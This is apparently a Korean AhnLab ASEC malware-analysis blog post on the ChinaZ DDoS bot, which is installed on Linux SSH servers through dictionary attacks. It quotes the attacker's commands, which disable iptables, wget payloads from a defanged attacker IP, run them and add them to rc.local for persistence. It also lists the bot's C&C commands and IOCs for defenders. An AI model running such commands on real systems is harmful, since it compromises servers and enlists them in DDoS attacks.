리눅스 SSH 서버를 대상으로 유포 중인 ChinaZ DDoS Bot 악성코드

AhnLab Security Emergency response Center(ASEC)에서는 최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 ChinaZ DDoS Bot 악성코드들이 설치되고 있는 것을 확인하였다. ChinaZ 그룹은 2014년 경부터 확인된 중국의 공격 그룹 중 하나로서 윈도우 및 리눅스 시스템들을 대상으로 다양한 DDoS Bot들을 설치하고 있다. [1] ChinaZ 공격 그룹이 제작한 것으로 알려진 DDoS Bot 악성코드들로는 대표적으로 XorDDoS, AESDDos, BillGates, MrBlack 등이 있으며 여기에서는 ChinaZ 또는 ChinaZ DDoSClient라고 불리는 DDoS Bot을 다룬다.


1. 리눅스 SSH 서버 대상 공격 캠페인

일반 사용자들의 주요 작업 환경인 데스크탑과 달리 서버는 주로 특정 서비스를 제공하는 역할을 담당한다. 이에 따라 데스크탑 환경에서는 악성코드가 주로 웹 브라우저를 통해 또는 메일 첨부 파일을 통해 이루어지며 공격자들 또한 악성코드 설치를 유도하기 위해 정상 프로그램으로 위장하여 악성코드를 유포한다. 서버 환경을 대상으로 하는 공격자들은 이러한 방식으로 악성코드를 유포하는 데 한계가 존재하기 때문에 다른 방식을 사용한다. 대표적으로 부적절하게 관리되고 있거나 최신 버전으로 패치를 하지 않아 취약점 공격에 취약한 서비스들이 그 대상이 된다.

부적절하게 관리되고 있는 서비스로는 대표적으로 단순한 형태의 계정 정보를 사용함에 따라 사전 공격에 취약한 유형이 있다. 예를 들어 윈도우 운영체제를 대상으로 하는 주요 공격 벡터 중 하나인 Remote Desktop Protocol(RDP) 및 MS-SQL 서비스가 대표적이다. 리눅스 서버 환경에서는 주로 Secure Shell(SSH) 서비스가 공격 대상이 되며, 오래된 리눅스 서버 또는 임베디드 리눅스 운영체제가 설치된 IoT 환경에서는 Telnet 서비스가 사전 공격 대상이 되기도 한다.

현재 블로그에서 다룰 ChinaZ 공격 그룹의 ChinaZ DDoSClient는 공격자가 스캐너 및 SSH BruteForce 악성코드들을 이용해 획득한 계정 정보를 이용해 설치된 것으로 추정된다. 공격자는 22번 포트 즉 SSH 서비스가 동작하는 시스템들을 스캐닝 한 후 SSH 서비스가 동작 중인 시스템을 찾은 이후에는 흔히 사용되는 SSH 계정 정보를 이용해 사전 공격을 진행하였다.

UserPassword공격지
root45.113.163[.]219
Table 1. ChinaZ 그룹이 공격에 사용한 계정 정보

ChinaZ를 설치한 공격자는 로그인 이후 다음과 같은 명령들을 이용해 ChinaZ를 리눅스 서버에 설치하였다. 참고로 SSH 서버에 로그인한 공격지의 주소와 ChinaZ를 다운로드하는 주소는 동일하다.

# service iptables stop
# wget hxxp://45.113.163[.]219/linux64
# nohup /root/linux64 > /dev/null 2>&1 &
# chmod 777 linux64
# ./linux64
# chmod 0755 /root/linux64
# nohup /root/linux64 > /dev/null 2>&1 &
# chmod 0777 linux64
# chmod u+x linux64
# ./linux64 &
# chmod u+x linux64
# ./linux64 &
# cd /tmp
# service iptables stop
# wget hxxp://45.113.163[.]219/linux32
# nohup /root/linux32 > /dev/null 2>&1 &
# chmod 777 linux32
# ./164
# chmod 0755 /root/linux32
# nohup /root/linux32 > /dev/null 2>&1 &
# chmod 0777 linux32
# chmod u+x linux32
# ./linux32 &
# chmod u+x dos6cc4
# ./linux32 &
# cd /tmp
# echo “cd /root/”>>/etc/rc.local
# echo “./linux64&”>>/etc/rc.local
# echo “./linux32&”>>/etc/rc.local
# echo “/etc/init.d/iptables stop”>>/etc/rc.local

공격자는 iptables 즉 방화벽을 비활성화하고 wget을 이용해 x86 및 x64 아키텍처로 빌드된 ChinaZ DDoSClient를 설치하였다. 공격자는 root 계정으로 로그인하였으며 다운로드한 악성코드들은 /root 경로에 설치되었다. 이후 설치한 ChinaZ를 실행하였으며 지속성 유지를 위해 rc.local에 등록하여 재부팅 이후에도 동작할 수 있도록 설정하였다.


2. ChinaZ DDoSClient (Linux)

ChinaZ는 바이너리에 디버그 정보가 포함되어 있기 때문에 제작자가 설정한 다양한 정보들을 획득할 수 있으며, 심지어 소스 코드도 공개되어 있는 일종의 오픈 소스 악성코드이다.

ChinaZ는 실행 시 “declient”라는 이름을 위장하는데, 이를 위해 prctl() 함수의 인자로 “PR_SET_NAME”를 “declient”라는 이름으로 설정하는 방식이 사용된다. 이에 따라 “pstree” 명령이나 “/cat /proc/[pid]/comm”과 같은 명령으로 현재 실행 중인 프로세스를 검사할 경우 “declient”라는 프로세스가 확인된다.

Figure 1. declient로 위장한 ChinaZ DDoSClient

코드에서 보이는 “MK64_SecurtDoor” 문자열은 공격자가 지정한 Logo 문자열로서 과거부터 확인되고 있는 문자열들 중 하나이다. [2] 참고로 해당 악성코드는 x86 아키텍처 기준이며, x64 아키텍처 바이너리에서는 “ceS_46KM”라는 이름이 Logo 문자열로 사용된다.

Figure 2. 공격자가 설정한 Logo 문자열

ChinaZ는 C&C 서버의 주소를 인코딩하여 가지고 있는데, CSocketManager::Initalize() 메서드에서 간단한 복호화 루틴을 통해 C&C 서버의 주소를 구할 수 있다.

Figure 3. C&C 서버 주소를 복호화하는 루틴

실질적인 기능은 CSocketManager::Woring() 메서드에서 담당하는데, 먼저 CSocketManager::GetOnlineInfo() 메서드에서 감염 시스템의 기본적인 정보를 수집한 이후 C&C 서버에 전달한다. 공개된 소스 코드에 따르면 전달하는 정보는 LOGININFO 구조체이며, 다음과 같은 구조를 갖는다.

OffsetSize설명
0x00000x0040OS 버전 정보 (OS 이름, 릴리즈 정보)
0x00400x0020버전 정보 (G2-F5)
0x00600x0020CPU 정보 (프로세서 개수, 성능)
0x00800x0020램 사이즈
0x00A00x0020네트워크 카드 정보
0x00C00x0010DDoS 공격 대역폭 정보
0x00D00x0010CPU 사용량
0x00E00x0020공격자의 Mark 문자열. (“UST”)
0x01000x0004DDoS 공격 플래그 (0 : 공격 중, 1 : 공격 중지)
0x01040x0004현재 진행 중인 DDoS 공격 횟수
0x01080x0080현재 진행 중인 DDoS 공격 상태
Table 2. LOGININFO 구조체

감염 시스템에서 정보를 수집하는 과정은 다음과 같은 루틴을 통해 이루어진다. 단순하게 uname()과 같은 함수를 이용하는 방식부터 “cat”이나 “ethtool” 명령을 사용하는 등 정보 수집을 위해 다양한 방식들이 사용되는 것이 특징이다.

Figure 4. 정보 수집 루틴

수집한 정보는 CSocketManager::SendOnlineInfo() 메서드를 통해 C&C 서버에 전달되며, 이후 C&C 서버로부터 전달받은 명령을 통해 악성 행위를 수행할 수 있다.

Figure 5. C&C 서버에 전달되는 감염 시스템 정보 – 리눅스 버전

ChinaZ는 공격자의 명령을 받아 악의적인 행위를 수행할 수 있다. 다음은 수행 가능한 명령들의 목록이다.

명령 번호명령 이름설명
0x0008COMMAND_RUN_CMD명령 실행
0x0009COMMAND_DNS_SETDNS 서버 설정
0x0010COMMAND_DDOS_ATTACKDDoS 공격
0x0011COMMAND_DDOS_STOPDDoS 공격 정지
0x0012COMMAND_DDOS_SET공격 대상 IP 주소 대역 설정
0x0014TOKEN_HEARTBEATHeartBeat
0x0016TOKEN_LOGO_CHANGELogo 변경
0x0017TOKEN_SET_CPU_LIMITCPU 한계 설정
0x0018TOKEN_SET_ONLINE_ADDRC&C 서버 주소 변경
Table 3. ChinaZ 명령 목록 (Linux 버전)
Figure 6. 명령 수행 루틴

DDoS Bot인 ChinaZ는 지원하는 대부분의 명령들이 DdoS 공격인 것이 특징이다. 지원하는 DDoS 공격으로는 SYN, UDP, ICMP, DNS Flood 공격이 있다.

명령 번호명령 이름설명
0x0001ATTACK_SYNSYN Flood
0x0002ATTACK_UDPUDP Flood
0x0003ATTACK_ICMPICMP Flood
0x0004ATTACK_DNSDNS Flood
Table 4. DDoS 공격 명령


3. ChinaZ DDoSClient (Windows)

리눅스 SSH 서버를 대상으로 하는 공격에서는 확인되지 않지만 VirusTotal을 통해 윈도우 시스템을 대상으로 하는 PE 포맷의 ChinaZ도 확인된다. 리눅스 버전과 실질적으로 거의 유사하기 때문에 여기에서는 차이점을 위주로 다룬다.

윈도우 버전의 ChinaZ는 리눅스 버전과 유사하게 “Declient”라는 이름으로 위장하는데, 이를 위해 %SystemRoot% 경로에 “Declient.exe” 이름으로 자신을 복사하고 Run 키에 등록하여 재부팅 이후에도 동작할 수 있도록 한다.

Figure 7. Run 키에 등록된 ChinaZ

C&C 서버의 주소와 일정 시간 이후 동작하는 두 번째 C&C 서버 즉 Backdoor C&C 주소도 기존 리눅스 버전과 동일하다.

Figure 8. 복호화 된 C&C 서버 주소

감염 시스템에서 수집하는 정보들이 저장되는 LOGININFO 구조체는 리눅스 버전과 동일하지만 몇 가지 항목들은 사용되지 않는다. Mark 문자열은 리눅스 버전과 동일하게 “UST”가 사용되었다.

OffsetSize설명
0x00000x0040OS 버전 정보
0x00400x0020사용되지 않음
0x00600x0020CPU 성능 정보
0x00800x0020사용되지 않음
0x00A00x0020사용되지 않음
0x00C00x0010DDoS 공격 대역폭 정보
0x00D00x0010CPU 사용량
0x00E00x0020공격자의 Mark 문자열. (“UST”)
0x01000x0004DDoS 공격 플래그 (0 : 공격 중, 1 : 공격 중지)
0x01040x0004현재 진행 중인 DDoS 공격 횟수
0x01080x0080현재 진행 중인 DDoS 공격 상태
Table 5. LOGININFO 구조체 (Windows)
Figure 9. C&C 서버에 전달되는 감염 시스템 정보 – 윈도우 버전

지원하는 명령의 경우 실질적으로 동일하지만 리눅스 버전과 비교해서 수량은 적은 편이다. DDoS 공격 명령은 SYN, UDP, ICMP, DNS Flood 4가지 모두 동일하다.

명령 번호명령 이름설명
0x0008COMMAND_RUN_CMD명령 실행
0x0009COMMAND_DNS_SETDNS 서버 설정
0x0010COMMAND_DDOS_ATTACKDDoS 공격
0x0011COMMAND_DDOS_STOPDDoS 공격 정지
0x0014TOKEN_HEARTBEATHeartBeat
Table 6. ChinaZ 명령 목록 (Windows 버전)


4. 결론

최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 공격자들이 ChinaZ DDoS Bot 악성코드를 설치하고 있다. 이러한 유형의 공격들은 과거부터 꾸준히 진행되고 있으며 최근까지도 다수의 공격들이 확인되고 있다. ChinaZ DDoS Bot이 설치될 경우 리눅스 서버는 공격자의 명령을 받아 특정 대상에 대한 DDoS 공격을 수행하는 DDoS Bot으로 사용될 수 있으며, 이외에도 추가 악성코드가 설치되거나 다른 공격에 사용될 수 있다.

이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 오픈되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

파일 진단
– Linux/Ddos.1571389 (2015.05.14)
– Linux/Ddos.1806356 (2015.05.14)
– Trojan/Win32.Agent.R192331 (2016.12.25.08)

IOC
MD5

– c69f5eb555cc10f050375353c205d5fa : ChinaZ DDoSClient – Linux x86 (linux32)
– c9eb0815129c135db5bbb8ac79686b9a : ChinaZ DDoSClient – Linux x64 (linux64)
– 2ec7348e6b6b32d50a01c3ffe480ef70 : ChinaZ DDoSClient – Windows x86 (win32)

다운로드 주소
– hxxp://45.113.163[.]219/linux32
– hxxp://45.113.163[.]219/linux64
– hxxp://45.113.163[.]219/win32

C&C 주소
– 45.113.163[.]219:29134
– www[.]911ddos[.]com:10912

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

Categories:악성코드 정보

Tagged as:,,

5 1 vote
별점 주기
Subscribe
Notify of
guest

1 댓글
Inline Feedbacks
View all comments
trackback

[…] 차지하고 있다. DDoS Bot의 경우 과거 ASEC 블로그에서 ShellBot [1], ChinaZ DDoS Bot [2] 악성코드를 설치하는 공격 사례를 소개한 바 있으며, XMRig 코인 마이너를 […]